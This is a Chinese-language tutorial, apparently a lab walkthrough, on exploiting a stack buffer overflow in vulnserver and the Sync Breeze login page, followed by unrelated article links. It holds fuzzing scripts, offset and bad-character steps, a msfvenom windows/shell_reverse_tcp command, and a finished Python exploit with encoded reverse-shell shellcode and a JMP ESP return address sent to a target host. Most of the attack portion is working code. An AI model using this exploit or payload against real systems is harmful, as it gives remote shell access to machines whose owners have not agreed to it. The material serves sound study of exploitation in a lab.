栈溢出漏洞利用流程——以syncbrs为例
0x1 缓冲区溢出漏洞攻击简介
缓冲区溢出攻击是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序的堆栈,使程序转而执行其他指令,以达到攻击的目的。
缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到系统权限等。
- 不稳定的程序行为;
- 系统崩溃;
- 内存访问错误;
- 代码覆盖;
- 未授权的数据访问;
- 临时特权行为;
- 数据盗窃和数据丢失。
0x2 栈溢出漏洞利用流程综述
1. Fuzzing
编写Fuzzing脚本,探测栈溢出崩溃所需要的数据长度。
import sys
import socket
buf = ['A']
count = 100
while len(buf) <= 20: # 创建一个长度30的列表,列表中每个元素作为要发送的字符串
buf.append('A'*count)
count += 200
for a in buf:
print('fuzzing %s bytes' % len(a)) # 为了找到使vulnserver崩溃的字符串长度
s = socket.socket()
c = s.connect(('192.168.43.129',9999))
s.send(('TRUN /:./' + a))
s.close()
探测脚本长度以20为一个单位,循环发送,发现长度为800时程序崩溃。
2. 找到偏移量offset
利用之前测得的800作为随机字符串长度,生成随机字符串用于计算具体偏移量。
计算偏移量的方法有两种:
方法1:
root@kali:~#msf-pattern_offset.rb -l 800 -q 386F4337 // 该地址和发送的字符串长度用于计算出offset
方法2:
!mona findmsp // 效果同上,此时使用mona要在vulnserver被打崩而暂停的时候,才能找到offset
修改fuzzing脚本,将产生的随机字符串替换重复的‘A’。
import sys
import socket
shellcode = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3A'
print('fuzzing %s bytes' % len(shellcode))
s = socket.socket()
c = s.connect(('192.168.43.129',9999))
s.send(('TRUN /:./' + shellcode))
s.close()
在服务端用Immunity Debugger监控程序,程序继续崩溃,找到对应的EIP存储的内容为[0x42306142]
(EIP寄存器,用来存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后,EIP寄存器的值就会增加。)
方法一:
root@kali:~#msf-pattern_offset.rb -l 800 -q 42306142 // 该EIP被覆盖的地址地址和发送的字符串长度用于计算出offset
方法二:
!mona findmsp // 效果同上,此时使用mona要在vulnserver被打崩而暂停的时候,才能找到offset
得到EIP的offset偏移量为780,ESP位788
3. 覆盖EIP
再次修改fuzzing脚本的shellcode,
shellcode = 'A' * 780 + 'Y' * 4
以上操作的目的是为了找到数据空间的EIP寄存器地址,EIP寄存器指向,我们需要将它修改为JMP ESP,以便吧程序控制劫持到ESP处,ESP是栈顶寄存器,
JMP ESP的opcode(OpCode 操作码:描述机器语言指令中,指令要执行某种操作的机器码)十六进制为\xff\xe4。
shellcode = 'A'*780 + '\xaf\x11\x50\x62' + '\x90'*32 + exp
// exp即为msfvenom生成的十六进制,在python脚本中要记得用括号将其括起来,不然会用不了,"\x90"为NOP,即什么也不操作,给exp留出一定的空间
4. 找坏字符
一般来说shellcode的总长度都非常短,所以可以直接采用汇编形式编写,这样不但可以直接通过软中断形式执行系统调用,而且可以控制坏字符的出现。在执行shellcode时,为了保证所有的代码都能正常执行,需要去掉那些无效的字符,这些字符被称为坏字符,典型的坏字符比如\x00。
我们将payload用0x01到0xff共256个16进制数值填充,并反复排查坏字符,知道所有16进制数值都被填充进缓冲区。代码如下:
#!/usr/bin/python
import socket
#"0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, and 0x3D"
#"\x00\x0a\x0d\x25\x26\x2b\x3d"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
try:
print "\nSending evil buffer..."
filler = "A"*780
eip = "B"*4
offset = "C"*4
inputBuffer = filler + eip + offset + badchars
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 127.0.0.1\r\n"
buffer += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buffer += "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n"
buffer += "Referer: http://127.0.0.1/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: " +str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",80))
s.send(buffer)
s.close()
print "\nDone!"
except Exception as e:
print "Could not connect!"
print e
发送完后,在immunity debugger右键ESP, 选择follow in dump后查看内存中的这段buffer的值。发现0x0A没有显示,说明它是个坏字符。在脚本里删除0x0A后继续重复这个动作,直到找到所有坏字符。最终坏字符为:0x00,0x0A,0x0D,0x25,0x26,0x3D。
修改shellcode,避免坏字符:
msfvenom -p windows/shell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -fc -b '\x00\x0A\x0D\x25\x26\x3d'
5. 定位JMP ESP的可靠内存地址
为了执行堆栈溢出,必须指出 ESP 地址。然后使用 JMP ESP地址覆盖返回地址并执行代码。
选择JMP ESP的地址需要满足两个条件:
- lib库必须是静态库,避免ASLR(地址空间随机加载,一种防范内存损坏漏洞利用的技术)的影响,在任何程序加载它时,它使用固定的地址。
- 地址不包含坏字符,因为地址本身也会成为请求buffer的一部分。
shellcode可以存放在ESP地址所指向的内存空间。因此,需要吧EIP的值覆盖为JMP ESP这条指令所对应的opcode 0xFFE4。
通过 immunity Debuger我们可以找到所加载的lib库的内存地址,从里面挑选满足以上两个要求的,我们选择了libspp.dll文件。使用!mona find -s "\xff\xe4" -m "libspp.dll" 得到JMP ESP的目标地址0x10090c83。
0x10090c83是一段内存地址,当它作为值写进内存,0x10将会放在高地址,0x83放在低地址,当它被CPU读取到EIP寄存器,CPU先读到0x83,最终读取的地址是反向的。
所以我们应该反向的存储返回地址。当内存地址作为参数传入给寄存器的时候,要逆序传入。
eip = "\x83\x0c\x09\x10"
6. exploit
生成新的shellcode之后,使用10个NOP(0X90)来规避解码器带来的栈顶附近的内存改写。
代码如下:
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
shellcode = ("\xdd\xc1\xbb\x6b\x94\x1e\xe1\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
"\x52\x31\x5d\x17\x83\xc5\x04\x03\x36\x87\xfc\x14\x34\x4f\x82"
"\xd7\xc4\x90\xe3\x5e\x21\xa1\x23\x04\x22\x92\x93\x4e\x66\x1f"
"\x5f\x02\x92\x94\x2d\x8b\x95\x1d\x9b\xed\x98\x9e\xb0\xce\xbb"
"\x1c\xcb\x02\x1b\x1c\x04\x57\x5a\x59\x79\x9a\x0e\x32\xf5\x09"
"\xbe\x37\x43\x92\x35\x0b\x45\x92\xaa\xdc\x64\xb3\x7d\x56\x3f"
"\x13\x7c\xbb\x4b\x1a\x66\xd8\x76\xd4\x1d\x2a\x0c\xe7\xf7\x62"
"\xed\x44\x36\x4b\x1c\x94\x7f\x6c\xff\xe3\x89\x8e\x82\xf3\x4e"
"\xec\x58\x71\x54\x56\x2a\x21\xb0\x66\xff\xb4\x33\x64\xb4\xb3"
"\x1b\x69\x4b\x17\x10\x95\xc0\x96\xf6\x1f\x92\xbc\xd2\x44\x40"
"\xdc\x43\x21\x27\xe1\x93\x8a\x98\x47\xd8\x27\xcc\xf5\x83\x2f"
"\x21\x34\x3b\xb0\x2d\x4f\x48\x82\xf2\xfb\xc6\xae\x7b\x22\x11"
"\xd0\x51\x92\x8d\x2f\x5a\xe3\x84\xeb\x0e\xb3\xbe\xda\x2e\x58"
"\x3e\xe2\xfa\xcf\x6e\x4c\x55\xb0\xde\x2c\x05\x58\x34\xa3\x7a"
"\x78\x37\x69\x13\x13\xc2\xfa\xdc\x4c\x8f\x6e\xb4\x8e\x0f\x8e"
"\xfe\x06\xe9\xfa\x10\x4f\xa2\x92\x89\xca\x38\x02\x55\xc1\x45"
"\x04\xdd\xe6\xba\xcb\x16\x82\xa8\xbc\xd6\xd9\x92\x6b\xe8\xf7"
"\xba\xf0\x7b\x9c\x3a\x7e\x60\x0b\x6d\xd7\x56\x42\xfb\xc5\xc1"
"\xfc\x19\x14\x97\xc7\x99\xc3\x64\xc9\x20\x81\xd1\xed\x32\x5f"
"\xd9\xa9\x66\x0f\x8c\x67\xd0\xe9\x66\xc6\x8a\xa3\xd5\x80\x5a"
"\x35\x16\x13\x1c\x3a\x73\xe5\xc0\x8b\x2a\xb0\xff\x24\xbb\x34"
"\x78\x59\x5b\xba\x53\xd9\x7b\x59\x71\x14\x14\xc4\x10\x95\x79"
"\xf7\xcf\xda\x87\x74\xe5\xa2\x73\x64\x8c\xa7\x38\x22\x7d\xda"
"\x51\xc7\x81\x49\x51\xc2")
size = 800
filler = "A"*780
eip = "\x83\x0c\x09\x10"
offset = "C"*4
nops = "\x90"*10
inputBuffer = filler + eip + offset + nops + shellcode
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 192.168.67.150\r\n"
buffer += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buffer += "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n"
buffer += "Referer: http://192.168.67.150/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: " +str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.67.150",80))
s.send(buffer)
s.close()
print "\nDone!"
except Exception as e:
print "Could not connect!"
print e
栈溢出漏洞利用流程——以syncbrs为例的更多相关文章
- Android栈溢出漏洞利用练习
在Github上看到一个Linux系统上的栈溢出漏洞利用练习项目: easy-linux-pwn.在原项目基础上,我稍微做了一些改动,将这个项目移植到了Android 9.0系统上: easy-and ...
- Android内核漏洞利用技术实战:环境搭建&栈溢出实战
前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...
- Linux64位程序中的漏洞利用
之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...
- 盗墓笔记—阿里旺旺ActiveX控件imageMan.dll栈溢出漏洞研究
本文作者:i春秋作家——cq5f7a075d 也许现在还研究Activex就是挖坟,但是呢,笔者是摸金校尉,挖坟,呸!盗墓是笔者的本职工作. 额,不扯了,本次研究的是阿里旺旺ActiveX控件imag ...
- 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用
20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- 仁者见仁:缓冲区栈溢出之利用 Exploit 形成完整攻击链完全攻略(含有 PayLoad)
> 前言 内存缓冲区溢出又名 Buffer OverFlow,是一种非常危险的漏洞,在各种操作系统和应用软件中广泛存在.利用缓冲区溢出进行的攻击,小则导致程序运行失败.系统宕机等后果,大则可以取 ...
- CVE-2018-0798:Microsoft office 公式编辑器 Matrix record 字段栈溢出漏洞调试分析
\x01 前言 2018 年 1 月 9 日,Office 公式编辑器再曝出新漏洞,编号为 CVE-2018-0798.提起公式编辑器大家都不陌生,之前的 CVE-2017-11882 和 CVE-2 ...
- Linux堆溢出漏洞利用之unlink
Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...
随机推荐
- 介绍下Java内存区域(运行时数据区)
介绍下Java内存区域(运行时数据区) Java 虚拟机在执行 Java 程序的过程中会把它管理的内存划分成若干个不同的数据区域.JDK 1.8 和之前的版本略有不同. 下图是 JDK 1.8 对JV ...
- 解决QIcon引用qrc不显示图片
引用Qrc 对于Qt来说,添加qrc之后,可以使用":"来直接访问qrc的文件,比如 QIcon icon(":/icon/red.png"); 绝对路径 当然 ...
- SSH免密登录的配置
ssh登录 登录ssh一般情况有两种方法 密码登录 秘钥登录(免密) 大部分情况我们选择都是输入密码登录,平常使用暂时没有遇到什么问题.最近我编写了一些使用scp来传输文件的脚本,每一次scp都需要输 ...
- 前端Long类型丢失精度问题
有时候后端向前端传输Long类型,数字过长会出现丢失精度的问题 比如后端传来的是这样一个长数字串 那么前端的弹窗显示的是 ![](https://img2022.cnblogs.com/blog/22 ...
- Windows平台摄像头或屏幕RTMP推送介绍:OBS VS SmartPublisher
好多开发者问道,既然有了OBS,你们为什么还要开发SmartPublisher? 的确,在我们进行Windows平台RTMP推送模块开发之前,市面上为数不多的Windows平台RTMP推流工具当属OB ...
- alter role 导致的数据库无法登录问题
ALTER ROLE 用于更改一个数据库角色.只要改角色后续开始一个新会话,指定的值将会成为该会话的默认值,并且会覆盖 kingbase.conf中存在的值或者从命令行收到的值. 显性的更改角色的一 ...
- 璞华PLM为全场景产品生命周期管理赋能,助力产品主线的企业数字化转型
英文版的<产品生命周期管理(PLM)软件市场--增长.趋势.COVID-19影响和预测(2022 - 2027)>中对未来PLM市场概述的描述为:"产品生命周期管理(PLM)软件 ...
- Elasticsearch6.2服务器升配后的bug
.suofang img { max-width: 100% !important; height: auto !important } 本篇文章记录最近一次生产服务器硬件升级之后引起集群不稳定的现象 ...
- kubeadm 使用 Calico CNI 以及外部 etcd 部署 kubernetes v1.23.1 高可用集群
文章转载自:https://mp.weixin.qq.com/s/2sWHt6SeCf7GGam0LJEkkA 一.环境准备 使用服务器 Centos 8.4 镜像,默认操作系统版本 4.18.0-3 ...
- Solutions:网站搜索 - Elastic Site Search